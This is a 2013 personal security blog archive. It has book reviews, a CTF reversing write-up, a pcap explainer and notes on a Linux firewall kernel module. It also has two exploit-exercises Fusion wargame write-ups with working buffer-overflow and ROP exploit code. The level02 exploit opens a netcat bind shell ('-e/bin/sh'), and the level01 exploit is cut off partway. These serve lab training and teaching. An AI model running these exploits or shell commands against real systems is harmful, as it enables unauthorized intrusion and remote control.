Saturday, December 28, 2013

Books I've read in 2013

I enjoy reading books of all sorts. Not only those related to Software Engineering and Information Security but also those dealing with various other topics.

  Here is the list of the 13 books that I have enjoyed reading (and finished) in 2013: In 2014, I expect to be reading some of these books, as well as others that I will be adding to my reading-list:

Tuesday, October 22, 2013

[CTF] NcN Quals 2013: Level 3

This is the write-up for the Third level of NoNameCon CTF Quals 2013.

In a nutshell, a Linux reversing challenge where the goal is to get the secret key:
$ file ./level.elf
./level.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xb589d432799bf15343387fea63d4bdc00faa177c, not stripped
Running the executable, we are challenged to type a "password."
$ ./level.elf

|  >  Type to win, only what I want to read...
|  > 
Clicking any key, will end the program with an error message.
$ ./level.elf

|  >  Type to win, only what I want to read...
|  > 
|
|  -> I DON'T THINK SO
The related executable code starts at 0x4010f3 with the getch() call.
   0x00000000004010f3 <+212>:   call   0x400fef <getch>
   0x00000000004010f8 <+217>:   movsx  eax,al
   0x00000000004010fb <+220>:   mov    DWORD PTR [rbp-0x4],eax
   0x00000000004010fe <+223>:   mov    eax,DWORD PTR [rbp-0x8]
   0x0000000000401101 <+226>:   cdqe  
   0x0000000000401103 <+228>:   mov    eax,DWORD PTR [rax*4+0x6033a0]
   0x000000000040110a <+235>:   cmp    eax,DWORD PTR [rbp-0x4]
Breaking at the following "cmp" instruction:
(gdb) break *0x40110a
Breakpoint 1 at 0x40110a
(gdb) run
Starting program: /home/kroosec/Downloads/level.elf

|  >  Type to win, only what I want to read...
|  > 
Breakpoint 1, 0x000000000040110a in main ()
(gdb) p *((int *) ($rbp - 0x4))
$1 = 65
(gdb) p $rax
$2 = 32
Obviously, the cmp will be false as the char we typed A is not equal to the space (32 decimal in ASCII.)
To fix that:
(gdb) set *((int *) ($rbp - 0x4)) = 32
Then we continue, again we come back
(gdb) c
Continuing.
*
Breakpoint 1, 0x000000000040110a in main ()
(gdb) p $rax
$3 = 83
Again, we return to the same place, (getch() call followed by cmp.)
This time the character is 'S', and to fix our erroneous guess:
(gdb) set *((int *) ($rbp - 0x4)) = 83
This is the main routine of the program. A loop that reads stdin character by character and compares them to the password's. In a normal situation, where the password is a some long string, we would have needed a brute-forcing program, but in this case, the string is pretty short and obvious (my 2nd guess, after finding the 2nd R ;))
$ echo ' SURPRISE!' | ./level.elf

|  >  Type to win, only what I want to read...
|  >  **********
|
|  -> Congratulations! The key is:
|  9e0d399e83e7c50c615361506a294eca22dc49bfddd90eb7a831e90e9e1bf2fb

Saturday, August 24, 2013

[Book] Linux System Programming, 2nd edition

 I have recently finished reading the 2nd edition of Linux System Programming book by Robert Love. This post is intended to be a summary and a short review for what I believe to be a great book.

 A common issue with Unix/Linux books that cover the system API is that potential readers, rightfully ask the same question: What is the added value over the already excellent and extensive manual pages ? And this, indeed, is a very legitimate concern. In my opinion, a better approach to read a book like LSP2 is to consider it as a "tour de force", one that discusses various topics, and is more focused on breadth and introducing to new concepts and topics, without going down the rabbit hole.

 My first impression after taking a look at the table of contents is that the booked felt like a shorter, Linux specific APUE. For whatever it worths, this could be a good thing if you are mainly interested in the GNU/Linux environment and don't fancy going through a thousand pages long book. Sadly, there was no discussion of networking related interfaces. Also, for some reason, chapters from 6 and on had no conclusion, unlike the earlier ones.

 Chapter 1 is your usual introduction to the subject chapter. The files and file-system discussion as well as the error handling one were distinctively enjoyable.

 Chapters 2, 3 and 4 are about I/O. Files in unix are the most fundamental abstraction and the author spends a good amount of time (+110 pages) examining topics as simple and known as open()/read()/close() to the more advanced ones such as Linux's epoll() interface, file mapping, file advice and async I/O (though scarce for the latter.) The kernel internals part in chapter 2 and I/O schedulers in chapter 4 demonstrate the author's familiarity with the Linux kernel. Other discussed topics of interest include synchronized I/O (both fsync() and O_SYNC flag), buffering in user-space (glibc implementation, advantages, disadvantages etc,.), multiplexed I/O with select()/poll() and vectored I/O with readv()/writev().

 Chapter 5 and 6 tackle the process management subject ranging from explaining the difference between a process, thread and program, to real-time systems and resource limits, going through process creation/destruction, permissions and process scheduling.

 Chapter 7 deals marvelously with the thorny threads subject, starting with general information such as design patterns, threads implementation in the kernel, comparing with process forking approach, virtual memory, advantages/disadvantages, different models for the relations between kernel threads and user threads, race conditions and synchronization (mutexes, deadlocks...) Later on, Linux' pthreads interface is explained. This is hands-down my favorite chapter as it was for most a "not a man pages dump".

 Again with files, but this time with directories chapter 8 takes a general look at various management interfaces to deal with files metadata, xattrs, permissions, directories creation and removal, linking, copying and moving files and monitoring file events with inotify() interface (that is how your file manager updates automatically when a new file is created in the current folder by another program ;))

 Chapter 9 is about memory management, both dynamic allocations and tuning as well as stack-based allocations while also explaining concepts such as virtual/physical pages, memory locking, memory manipulation and anonymous memory mappings.

 Chapter 10 discusses the subject of signals in unix, different signals values and management (waiting, blocking, sending etc,.), the concept of reentrancy and signal sets.

 Chapter 11 examines the topic of time, ranging the different ways to measure time, the used time structures, posix clocks, sleeping and waiting to the various available timers.

 The appendix about GCC extensions to the C language was a very enjoyable read, both shedding the light about not often-used but very useful extensions to the so widely-used ones that we may take for granted.

 Overall, LSP2nd is a great book due to the author's long familiarity with both kernel-space and user-space code and experience in book authoring. Anyone with intermediate C programming skills should consider reading it. The book is clearly not targeted for C novice programmers and those with no experience using Linux.

Tuesday, July 9, 2013

PCAP Link-Layer header type. (Follow-up on: A look at the pcap file format)

Yesterday, I was emailed by someone who read an article I have written last year about pcap file format, his email was something along the lines of:

> I'm writing to you because I've read your introduction to PCAP file format
> (http://www.kroosec.com/2012/10/a-look-at-pcap-file-format.html) but I still
> have some "advanced" doubts, mainly related to when I change the encapsulation
> type. Could you take some time to enlighten me further in this topic? I'd
> really appreciate it :) 

As my answer was longer than expected, and as Scott Hanselman advices, I am sharing my answer as a blog post, hopefully to be found useful by more people.

Hi X,

If I understood correctly, you have an issue with the meaning of the last 4 bytes in the global header, right ?

That value is not part of the "data" that is captured on the wire (ie. it is not sent or received), but is saved by libpcap / your capturing tool when you save the file. That value is used by tools such as Wireshark to decide on the type of the Link-Layer (Ethernet, Wlan...) header.

You can think of it like other "type" fields in various networking protocols. For instance, the IPv4 header has a "Protocol" field on 1 byte: 0x06 for TCP and 0x11 for UDP (See RFC 790 for all the values.)

Now, imagine you are writing a tool parsing one packet (sent over Ethernet/IPv4/UDP) pcap file. Obviously, you will start from the lower-layers and go up. Here are the question you will be asking each time:

Question: What is the Link-Layer type ?
Answer: Check the pcap global header's link-layer header type: Equals 0x10000000 for Ethernet.

Question: What is the Internet-Layer type ?
Answer: Check Ethernet header's EtherType field: Equals 0x8000 for IP.

Question: What is the transport-Layer type ?
Answer: Check IPv4 header's protocol field: Equals 0x11 for UDP.

At this point, you would have understood that the Link-Layer header type is stored in the pcap file's global header because, well, there is no "lower" layer to store it in.

Throwing a bit of "hands-on" may give you an "aha moment".
* Download the .cap file I have referenced in the article.
* Make two new copies.
* Use your favorite hex editor to edit the original value (0x01000000 == Ethernet) in the two copies to 0x030000000 and 0x69000000. From the referenced link in the article [1], these values are for AX.25 and 802.11 respectively.
* Open both files with Wireshark. It says the first (AX.25) is "not supported while the second is parsed as a 802.11 (Wireless LAN) (with erroneous result as you may expect) instead of 802.3 (Ethernet.)

You may also be wondering about support for Wireshark and other capturing tools or other subjects related to your capture adapter. For this, you may find various discussions like [2] on the subject to be of a help.

Hopefully, this will shed some light on your issue.

[1] http://www.tcpdump.org/linktypes.html
[2] http://www.wireshark.org/lists/wireshark-dev/200810/msg00270.html

Cheers,

Hani.

Monday, July 1, 2013

Building a Linux Firewall as a kernel module

 Recently, I finished reading Linux Kernel Development, 3rd (Robert Love) and started developing a kernel module to get some more hands-on experience with the kernel code and interfaces before delving further into the rabbit hole. A couple of days ago, I have pushed a first version of a lightweight Firewall on Github that I named Merwall.

 This blog post will summarize the work done and will include some notes that may be of use for anyone who may tackle a similar project.
  • Components
 The project has two main parts:
+ A kernel Module whose main task is network traffic filtering based on user-set rules as well as creating and managing the sysfs class/file (more on that later.)
+ The userspace administration tool (à la iptables command-line tool) that is used for various configuration tasks (rules setting, listing, deleting etc,.)
  • The Kernel module
 A nice thing about developing kernel code as a module is the low time needed for the build/test cycle. After modifying code, a fast "make" (With a simple Makefile like this) and an "insmod our_module.ko" is all it takes to test the code. It goes without saying that you should use Qemu, VirtualBox, KVM (or something similar) for code testing... unless you don't mind rebooting after each kernel panic. :)

 A kernel module should define two main functions that are called once, each: The initialization function, which will be called when the module is first inserted and the exit function which will be called when the module is removed. These could be specified with macros from <linux/init.h> header.
module_init(merwall_init);
module_exit(merwall_exit);
 In our case, the merwall_init function's role is to register the netfilter hooks, create the sysfs class and file and initialize any other global variables. The merwall_exit function on the other hand unregisters the netfilter hooks, destroy the sysfs class and frees allocated memory (used by the network filtering rules, among others things.) 
  • Rules list data structure
 The network filtering rules structures are kept in an ordered (by rule index) linked-list. The O(n) worst-case time complexity for inserting/deleting rules isn't much of an issue in this as the main use of the structure is matching every captured network packet with all the rules in the rules list. I was very positively surprised by the great Linked-lists API that the Linux kernel provides. Check this rather good explanation by KernelNewbies.org, or alternatively your favorite search engine.
  • Netfilter
 The Netfilter API allows a kernel module to manipulate incoming/outgoing network traffic. This could be released by using the nf_register_hook function call which takes as a sole argument a nf_hook_ops struct. Among information we add to the structure is the hook point (values NF_INET_PRE_ROUTING/NF_INET_POST_ROUTING are of interest for manipulating incoming/outgoing traffic respectively.)
 
 We also add a callback function (aka. hook) that will be called for every packet passing by the associated hook point in the structure. The passed sk_buff structure contains the packet data that the hook could parse, and match with the user-set filtering rules. The return value of the hook reflects the decision to be taken. Common actions in firewall rules have could be implemented with the following return values:
NF_ACCEPT  => Ignore/Log packet.
NF_DROP      => Block/Drop packet.
NF_STOLEN  => Unblock/Pass packet.
 In Merwall, two (statically declared) nf_hook_ops structures were used that differ in the hook point and the hook function (being a wrapper around packet handling function with a different "direction" values.) Initializing the values is simple as this:
/* Incoming packets */
nfhi.hook = merwall_hook_in;
nfhi.hooknum = NF_INET_PRE_ROUTING;
nfhi.pf = PF_INET;
nfhi.priority = NF_IP_PRI_FIRST;
nf_register_hook(&nfhi);

/* Outgoing packets */
nfho.hook = merwall_hook_out;
nfho.hooknum = NF_INET_POST_ROUTING;
nfho.pf = PF_INET;
nfho.priority = NF_IP_PRI_FIRST;
nf_register_hook(&nfho);
  • Sysfs virtual filesystem
 Sysfs is a virtual (in-memory) filesystem that allows exporting kernel code information to user-space as files and directories under the /sys directory. The hierarchy is better organized compared /proc. In Merwall, I used the sysfs class wrapper function class_create() to create what will be seen as directory in user space (/sys/class/merwall) and class_create_file() to add a class attribute (aka. file found under that directory.)
 
 class_create_file() takes a class_attribute structure as a 2nd argument which contains the file name, permissions and two functions to be called when the fileis read/written to.
  • Userspace
The big bulk of the userspace admin tool's job is to parse command-line arguments (using getopt), check the validity of the provided values and send/receive adequate information from the kernel module through the sysfs file.
For instance:
./merwall_admin --list
Outputs the content of /sys/class/merwall/merwall_file
./merwall_admin --delete 35
will write "1 35"
./merwall_admin --index 44 --direction OUT --proto UDP --action PASS --srcport 5555
--dstip 192.168.1.1
will write "0 44 1 2 0 2 0.0.0.0 192.168.1.1 5555 0"
 One nice benefit of using a file based solution was that I could get something that I could test efficiently early-on using simple tools like cat and echo/printf.

 That was pretty much all that came to my mind while writing this blog post, the code is available on github. Feel free to contact me with any critics, remarks or questions.

Saturday, March 23, 2013

exploit-exercises Fusion: Level02

This is the write-up for level02 of exploit-exercises' Fusion wargame. This level deals with bypassing ASLR and NX/DEP security mechanisms to exploit a stack-based Buffer overflow vulnerability. The source code of the vulnerable program is provided as follow:
#include "../common/common.c"

#define XORSZ 32

void cipher(unsigned char *blah, size_t len)
{
  static int keyed;
  static unsigned int keybuf[XORSZ];

  int blocks;
  unsigned int *blahi, j;

  if(keyed == 0) {
    int fd;
    fd = open("/dev/urandom", O_RDONLY);
    if(read(fd, &keybuf, sizeof(keybuf)) != sizeof(keybuf)) exit(EXIT_FAILURE);
    close(fd);
    keyed = 1;
  }

  blahi = (unsigned int *)(blah);
  blocks = (len / 4);
  if(len & 3) blocks += 1;

  for(j = 0; j < blocks; j++) {
    blahi[j] ^= keybuf[j % XORSZ];
  }
}

void encrypt_file()
{
  // http://thedailywtf.com/Articles/Extensible-XML.aspx
  // maybe make bigger for inevitable xml-in-xml-in-xml ?
  unsigned char buffer[32 * 4096];

  unsigned char op;
  size_t sz;
  int loop;

  printf("[-- Enterprise configuration file encryption service --]\n");

  loop = 1;
  while(loop) {
    nread(0, &op, sizeof(op));
    switch(op) {
      case 'E':
        nread(0, &sz, sizeof(sz));
        nread(0, buffer, sz);
        cipher(buffer, sz);
        printf("[-- encryption complete. please mention "
        "474bd3ad-c65b-47ab-b041-602047ab8792 to support "
        "staff to retrieve your file --]\n");
        nwrite(1, &sz, sizeof(sz));
        nwrite(1, buffer, sz);
        break;
      case 'Q':
        loop = 0;
        break;
      default:
        exit(EXIT_FAILURE);
    }
  }
   
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *p;

  background_process(NAME, UID, GID); 
  fd = serve_forever(PORT);
  set_io(fd);

  encrypt_file();
}
From a first glance, it is apparent that the vulnerability is caused by the nread(0, buffer, sz) call. Although nread() takes a size argument, the whole process is quite insecure due to the size variable's value being user-controlled with no other boundary restrictions.
Quick offset calculation yields:
(gdb) break encrypt_file
Breakpoint 1 at 0x8049800: file level02/level02.c, line 40.
(gdb) continue
Continuing.
[New process 2317]
[Switching to process 2317]

Breakpoint 1, encrypt_file () at level02/level02.c:40
40      level02/level02.c: No such file or directory.
        in level02/level02.c
(gdb) p $ebp - (int) &buffer + 4
$1 = (void *) 0x20010
Ignoring the cipher() part for the moment, in order to crash the daemon we have to send 'E' op, followed by the "file size" (4 bytes), followed by the file content.
However, this alone won't be enough, as the program will exit gracefully with
the exit(3) call instead of returning to the provided address as shown by below.
(gdb) tb exit
Temporary breakpoint 1 at 0xe349e0: file exit.c, line 99. 
kroosec@doj:~$ python -c "print 'E'+'\x14\x00\x02\x00'+'A'*0x20010+'B'*4" | ncat 192.168.25.2 20002 
(gdb) continue
Continuing.
[New process 2338]
[Switching to process 2338]

Temporary breakpoint 1, __GI_exit (status=1) at exit.c:99
99      exit.c: No such file or directory.
        in exit.c
(gdb) continue
Continuing.
[Inferior 2 (process 2338) exited with code 01]
We need to add the 'Q' op to force the loop variable to 0 and return from
encrypt_file() function.
kroosec@doj:~$ python -c "print 'E'+'\x14\x00\x02\x00'+'A'*0x20010+'B'*4+'Q'" | ncat 192.168.25.2 20002
(gdb) continue
Continuing.
[New process 2371]

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 2371]
0x08049915 in encrypt_file () at level02/level02.c:62
62  in level02/level02.c
(gdb) x/i $eip
=> 0x8049915 <encrypt_file+286>:    ret
(gdb) i r $ebp
ebp            0xf326561b   0xf326561b
No 0x41414141 and 0x42424242 values ? Our input is overwritten by cipher() as
demonstrated below.
(gdb) break 49
Breakpoint 2 at 0x8049891: file level02/level02.c, line 49.
(gdb) continue
Continuing.
[New process 2381]
[Switching to process 2381]

Breakpoint 2, encrypt_file () at level02/level02.c:49
49  in level02/level02.c
Just before cipher() call
(gdb) x/2x $ebp
0xbfe60be8: 0x41414141  0x42424242
And after cipher() call
(gdb) n
50  in level02/level02.c
(gdb) x/2x $ebp
0xbfe60be8: 0x3c0cf79a  0x280a4404
cipher() will XOR the buffer with the content of keybuf. Keybuf's 128 bytes content is pseudo-randomly generated through /dev/urandom.
To write a certain value A in buffer, we need to send the result of its XOR with keybuf (A XOR K XOR K == A).
Can we "guess" keybuf's content in advance ? No.
However, as keyed is defined as static, it will be persistent through multiple cipher() calls, resulting in keybuf's (a static variable too) content to be generated only once and used for multiple encryptions. We have an information leak in the form of the cipher-text being sent back to us and as we know the plain-text part, it is easy to extract the key from there.
A wise/insane man in a crypto class told us once:"Key reuse, ahoy!"
We will send "E" + 128 in little endian + "A"*128, read the encrypted content, extract the key by XOR'ing it with "A"*128 and sending the PoC payload ("A"*0x020010 + "B"*0x4) after encrypting it with the key followed by "Q". (Python script to automate all the exploitation steps is at the end of the
article.) Here are the interesting parts of the crash:
(gdb) continue
Continuing.
[New process 2027]

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 2027]
0x08049915 in encrypt_file () at level02/level02.c:62
62      in level02/level02.c
(gdb) x/i $eip
=> 0x8049915 <encrypt_file+286>:        ret
(gdb) x/4wx $esp
0xbfc7e9dc:     0x42424242      0x00000004      0x00004e22      0x00004e22
(gdb) i r $ebp
ebp            0x41414141       0x41414141
Yep, total control of EIP. It almost feels good to see these 0x42424242 and 0x41414141 values again.
Now, for the exploitation part. Return-Oriented Programming techniques are to be used in order to bypass the combination of ASLR and DEP. This works by chaining returns to useful gadgets (eg. pop eax; pop ebx; ret) which are stored in fixed addresses (not affected by ASLR, like .text segment.)
Fusion comes already with a useful tool called ROPGadget, which would let us
automate the process of searching for usable gadgets.
root@fusion:/opt/fusion/bin# ../../ROPgadget-v3.3/ROPgadget -file level02 -gGadgets information
============================================================
0x080487f6: pop %edi | ret
0x08048815: add $0x08,%esp | pop %ebx | ret
0x08048818: pop %ebx | ret
0x08048b0f: add $0x04,%esp | pop %ebx | pop %ebp | ret
0x08048b12: pop %ebx | pop %ebp | ret
0x08048b13: pop %ebp | ret
0x08048b3f: call *%eax
0x08048b7f: sub $0xc9fffffd,%eax | ret
0x08048bc3: mov $0xc9fffffc,%ecx | ret
0x080499bc: pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x080499d2: mov (%esp),%ebx | ret
0x080499f8: sub $0x04,%ebx | call *%eax
0x08049fe3: call *(%ebx)
[...]
First, let's start with laying out some foundations. A simple exit(33) call
using pop %ebx; ret; followed by call *(%ebx);
root@fusion:/opt/fusion/bin# objdump -R ./level02
[...]
0804b3c4 R_386_JUMP_SLOT   exit
[...]
The rop chain used is:
rop2 = "\x18\x88\x04\x08" + "\xc4\xb3\x04\x08" + "\xe3\x9f\x04\x08" + "\x21\x00\x00\x00"
0x08048818 is the address of the first gadget. 0x0804b3c4 is the address
containing the reference to exit() call in GOT. 0x08049fe3 is the address of the
second gadget. 0x21 == 33.
Launching the PoC, the gdb session expectedly gives:
(gdb) continue
Continuing.
[New process 1446]
[Inferior 18 (process 1446) exited with code 041]
(gdb) p 041
$5 = 33
Works as expected. The program exits with code 33.
From this point, a great amount of time was spent experimenting with possible variations. I started trying multiple variations and using multiple ROP gadgets finders (msfrop, ropeme), in order to get a system() execution with GOT Dereferencing technique (as explained in this presentation.)
Due to the lack of good gadgets, I decided to go for a two-stage exploit with fake frame instead (well detailed in this presentation from BHUS 2010) We will write our new stack frame in the readable/writable .bss section.
(gdb) maintenance info sections
Exec file:
    `/opt/fusion/bin/level02', file type elf32-i386.
    [...]
    0x804b420->0x804b500 at 0x00002418: .bss ALLOC
    [...]
There aren't many interesting function pointers in the GOT to use for data writing in this case.
After pop'ing a BBBB into ebp, will return to nread() which is in the .text section.
(gdb) p nread
$1 = {ssize_t (int, void *, size_t)} 0x804952d <nread>
With a crashing PoC that consists of:
junk = "A"*0x20010
bss = pack("<L", 0x0804b420)
nread = pack("<L", 0x0804952d)
fd = pack("<L", 0)
size = pack("<L", 100)
popebp = pack("<L", 0x08048b13)
ebp = "BBBB"
ret = "CCCC"
# pop ebp (BBBB); ret => nread(0, @bss, 100); ret => CCCC
stage0 = popebp + ebp + nread + ret + fd + bss + size
payload1 = junk + stage0
Followed by Q and then D*100, we get this gdb session.
(gdb) continue
Continuing.
[New process 1328]

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 1328]
0x0804959f in nread (fd=Cannot access memory at address 0x4242424a
) at level02/../common/common.c:301
301     in level02/../common/common.c
(gdb) x/i $eip
=> 0x804959f <nread+114>:       ret
(gdb) x/4w $esp
0xbfa2f5a0:     0x43434343      0x00000000      0x0804b420      0x00000064
(gdb) i r ebp
ebp            0x42424242       0x42424242
(gdb) x/28wx 0x804b420
0x804b420 <environ@@GLIBC_2.0>: 0x44444444      0x44444444      0x44444444      0x44444444
0x804b430:      0x44444444      0x44444444      0x44444444      0x44444444
0x804b440 <stdout@@GLIBC_2.0>:  0x44444444      0x44444444      0x44444444      0x44444444
0x804b450:      0x44444444      0x44444444      0x44444444      0x44444444
0x804b460 <keyed.5339>: 0x44444444      0x44444444      0x44444444      0x44444444
0x804b470:      0x44444444      0x44444444      0x44444444      0x44444444
0x804b480 <keybuf.5340>:        0x44444444      0xddaac6e0      0x382778e5      0x754a34a4
Everything as expected. Time to weaponize the exploit.
First, returning to a leave+ret gadget which will let us rebase our stack frame.
fusion@fusion:/opt/fusion/bin$ objdump -d ./level02 | grep "leave" -A1 -m1
 8048b41:   c9                      leave
 8048b42:   c3                      ret
execve() entry in the program's PLT is:
fusion@fusion:/opt/fusion/bin$ objdump -d ./level02 | grep "<execve@plt>:"
080489b0 <execve@plt>:
And exit()'s is:
root@fusion:~# objdump -d /opt/fusion/bin/level02 | grep "<exit@plt>:"
08048960 <exit@plt>:
To sum the exploit, we will create a new stack frame for to execute execve("/bin/nc", {"/bin/nc", "-ltp6667", "-e/bin/sh", NULL}, NULL) to get a shell with a netcat session listening on tcp port 6667.
The full python script for the exploit is:

#! /usr/bin/env python
import socket
from time import sleep
from struct import pack

def encrypt(text, key, keysize):
    return "".join([chr(ord(x) ^ ord(key[ i % keysize])) for i, x in enumerate(text)])

def xorstr(a, b):
    if len(a) > len(b):
        return "".join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a[:len(b)], b)])
    else:
        return "".join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a, b[:len(a)])])

# Connect to target and receive 1st message.
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.25.2", 20002))
sleep(0.5)
s.recv(1024)

# Send dummy data and extract key from response.
keysize = 128
dummy = "A"*keysize
s.send("E")
s.send(pack("<L", keysize))
s.send(dummy)
s.recv(2048)
temp = s.recv(2048)
encrypted = temp[-keysize:]
key = xorstr(dummy, encrypted)

# Test to detect any issues.
if len(key) != keysize or key.find("encryption") != -1:
    print "Key extraction fail."
    exit(1)

################ Exploit starts here. ##################
base = 0x0804b420 # Base of new frame.
junk = "A"*0x20010
bss = pack("<L", base)
nread = pack("<L", 0x0804952d)
fd = pack("<L", 0)
size = pack("<L", 100)
popebp = pack("<L", 0x08048b13)
ebp = bss
leaveret = pack("<L", 0x08048b41)
# pop ebp (.bss); nread(fd, @bss, size); leave (.bss) + ret (.bss+4)
stage0 = popebp + ebp + nread + leaveret + fd + bss + size
payload1 = junk + stage0

# Send Stage0 payload
cipher1 = encrypt(payload1, key, keysize)
s.send("E")
s.send(pack("<L", len(cipher1)))
s.send(cipher1)
print "stage0 SENT"
sleep(0.5)

# Clean socket.
s.recv(0xffffff)
s.send("Q")
sleep(0.5)

# Stage1.
null = pack("<L", 0x0) # Null pointer
filler = "DDDD" # placeholder junk.
execve = pack("<L", 0x080489b0) # execve@plt to launch backdoor.
exit = pack("<L", 0x08048960) # exit@plt for a graceful exit.
args = pack("<L", base + 24) # 2nd arg for execve() {"/bin/nc", "-lp6667", "-e/bin/sh", NULL}
envp = null # Third argument  for execve()

data_offset = 40 # filler + @execve + @exit + 3 execve args + args[4] == 40
# execve() arguments
binnc = pack("<L", base + data_offset)
ncarg1 = pack("<L", base + data_offset + 8) # -ltp6667 is 8 bytes after binnc
ncarg2 = pack("<L", base + data_offset + 17) # -e/bin/sh is 17 bytes after binnc


# Send Stage2 payload.
stage1 = filler + execve + exit + binnc + args + envp
stage1 += binnc + ncarg1 + ncarg2 + null
stage1 += "/bin/nc\x00" + "-ltp6667\x00" + "-e/bin/sh\x00"
junk = "E" * (100 - len(stage1))
s.send(stage1+junk)
print "stage1 SENT"
s.close()
Testing everything:
kroosec@doj:~$ ncat 192.168.25.2 6667
id

uid=20002 gid=20002 groups=20002
And that is it for level02!

Saturday, March 9, 2013

exploit-exercises Fusion: Level01

This is the write for level01 of exploit-exercises' Fusion wargame. This level is similar to the previous one with one exception: ASLR is enabled (Stack/Heap/mmap). The source code of the vulnerable program is provided as follow:
#include "../common/common.c"

int fix_path(char *path)
{
  char resolved[128];

  if(realpath(path, resolved) == NULL) return 1; // can't access path. will error trying to open
  strcpy(path, resolved);
}

char *parse_http_request()
{
  char buffer[1024];
  char *path;
  char *q;

  // printf("[debug] buffer is at 0x%08x :-)\n", buffer); :D

  if(read(0, buffer, sizeof(buffer)) <= 0) errx(0, "Failed to read from remote host");
  if(memcmp(buffer, "GET ", 4) != 0) errx(0, "Not a GET request");

  path = &buffer[4];
  q = strchr(path, ' ');
  if(! q) errx(0, "No protocol version specified");
  *q++ = 0;
  if(strncmp(q, "HTTP/1.1", 8) != 0) errx(0, "Invalid protocol");

  fix_path(path);

  printf("trying to access %s\n", path);

  return path;
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *p;

  background_process(NAME, UID, GID); 
  fd = serve_forever(PORT);
  set_io(fd);

  parse_http_request(); 
}
To demonstrate the issue, let's start by investigating how the levelXX daemons are started in Fusion.
monit (http://mmonit.com/monit/) is used to launch the various vulnerable daemons in Fusion.
root@fusion:~# ls /etc/monit/conf.d/
level00  level01  level02  level03  level04  level05  level06  level07  level08  level09
The difference between level00 and level01 is in the -R option passed to setarch
program.
root@fusion:~# diff /etc/monit/conf.d/level0{0,1}
1,3c1,3
< check process level00 with pidfile /opt/fusion/run/level00.pid
<   start program = "/usr/bin/setarch i386 -X -R /opt/fusion/bin/level00"
<   stop program = "/usr/bin/killall -9 level00"
---
> check process level01 with pidfile /opt/fusion/run/level01.pid
>   start program = "/usr/bin/setarch i386 -X /opt/fusion/bin/level01"
>   stop program = "/usr/bin/killall -9 level01"
The -R flag tells setarch to disable randomization of the virtual address space. A quick test with level00 shows this.
root@fusion:~# killall level00; /usr/bin/setarch i386 -X /opt/fusion/bin/level00
kroosec@doj:~$ ncat 192.168.25.2 20000

[debug] buffer is at 0xbf994978 :-)
root@fusion:~# killall level00; /usr/bin/setarch i386 -X /opt/fusion/bin/level00
kroosec@doj:~$ ncat 192.168.25.2 20000

[debug] buffer is at 0xbfdb2018 :-)
root@fusion:~# killall level00; /usr/bin/setarch i386 -X /opt/fusion/bin/level00
kroosec@doj:~$ ncat 192.168.25.2 20000

[debug] buffer is at 0xbfe45948 :-)
Notice how the address of buffer changes. Testing with the -R flag, we get
instead:
root@fusion:~# killall level00; /usr/bin/setarch i386 -X -R /opt/fusion/bin/level00
kroosec@doj:~$ ncat 192.168.25.2 20000

[debug] buffer is at 0xbffff368 :-)
root@fusion:~# killall level00; /usr/bin/setarch i386 -X -R /opt/fusion/bin/level00
kroosec@doj:~$ ncat 192.168.25.2 20000

[debug] buffer is at 0xbffff368 :-)
root@fusion:~# killall level00; /usr/bin/setarch i386 -X -R /opt/fusion/bin/level00
kroosec@doj:~$ ncat 192.168.25.2 20000

[debug] buffer is at 0xbffff368 :-)
Now, buffer is always at the same address: 0xbffff368!
With that being said, it is time to exploit level01. Unlike the previous level, we won't be able to return directly to our nop sled / shellcode as we don't know where it will be located.
However, note that not everything in our binary will be randomized. Given that level01 binary is not built as PIE (Position Independant Executable.), content of the .text segment will always be located at the same addresses.
root@fusion:/opt/fusion/bin# gdb -q level01
Reading symbols from /opt/fusion/bin/level01...done.
(gdb) disassemble main
Dump of assembler code for function main:
   0x0804997a <+0>:     push   %ebp
   0x0804997b <+1>:     mov    %esp,%ebp
   0x0804997d <+3>:     and    $0xfffffff0,%esp
   [...]
This will always yield the same results over numerous executions.
Obviously, we won't have a "shellcode" ready to use within our binary to return to. However, as I will detail in the next part, we can still use a snippet from
.text segment as a "stepping-stone".
First, let's test with a simple PoC.
kroosec@doj:~$ python -c "print 'GET /'+'A'*139 + '\x7a\x99\x04\x08' + 'C'*12 +' HTTP/1.1'" | ncat 192.168.25.2 20001
From the previous level, we know that we have 140 bytes of offset, EIP's value
will be 0x0804997a when fix_path returns. The value "0x804997a" I chose here
doesn't matter, as long as it won't segfault directly. We will have this session in gdb on our target machine.
(gdb) disassemble fix_path
Dump of assembler code for function fix_path:
   0x08049815 <+0>:     push   %ebp
   [...] 
   0x08049854 <+63>:    ret   
End of assembler dump.
(gdb) tb *fix_path+63
Temporary breakpoint 1 at 0x8049854: file level01/level01.c, line 9.
(gdb) continue
[...]
(gdb) x/12x $esp + 140
0xbfc48188: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfc48198: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfc481a8: 0x0804997a  0x43434343  0x43434343  0x43434343
Once we return from fix_path(), our new stack's top is the chain of 'C' we
added after the return address, which is just logical given basic x86 knowledge.
(gdb) x/4x $esp
0xbfc48100:     0x43434343      0x43434343      0x43434343      0x00176100
And what if instead of returning to a random address like 0x0804997a, we return to the address of a "jump esp" ? That's right, that 0x434343... sequence will become our new shellcode! To find a viable address to jump, nothing easier and more efficient than scanning the binary with metasploit's msfelfscan tool.
root@fusion:/opt/metasploit-framework# ./msfelfscan -j esp ../fusion/bin/level01
[../fusion/bin/level01]
0x08049f4f jmp esp
Quick test of our theory.
kroosec@doj:~$ python -c "print 'GET /'+'A'*139 + '\x4f\x9f\x04\x08' + '\xcc'+
'C'*11 +' HTTP/1.1'" | ncat 192.168.25.2 20001
will result in
(gdb) continue
Continuing.
[New process 4418]

Program received signal SIGTRAP, Trace/breakpoint trap.
[Switching to process 4418]
0xbfc48101 in ?? ()
Yep, that is the case! Now, with the full exploit.
#!/usr/bin/env python
get = 'GET '
path = '\x90' * 137 + '\xeb\x12'
ret = '\x4f\x9f\x04\x08'
rel_jmp = '\xeb\x25'
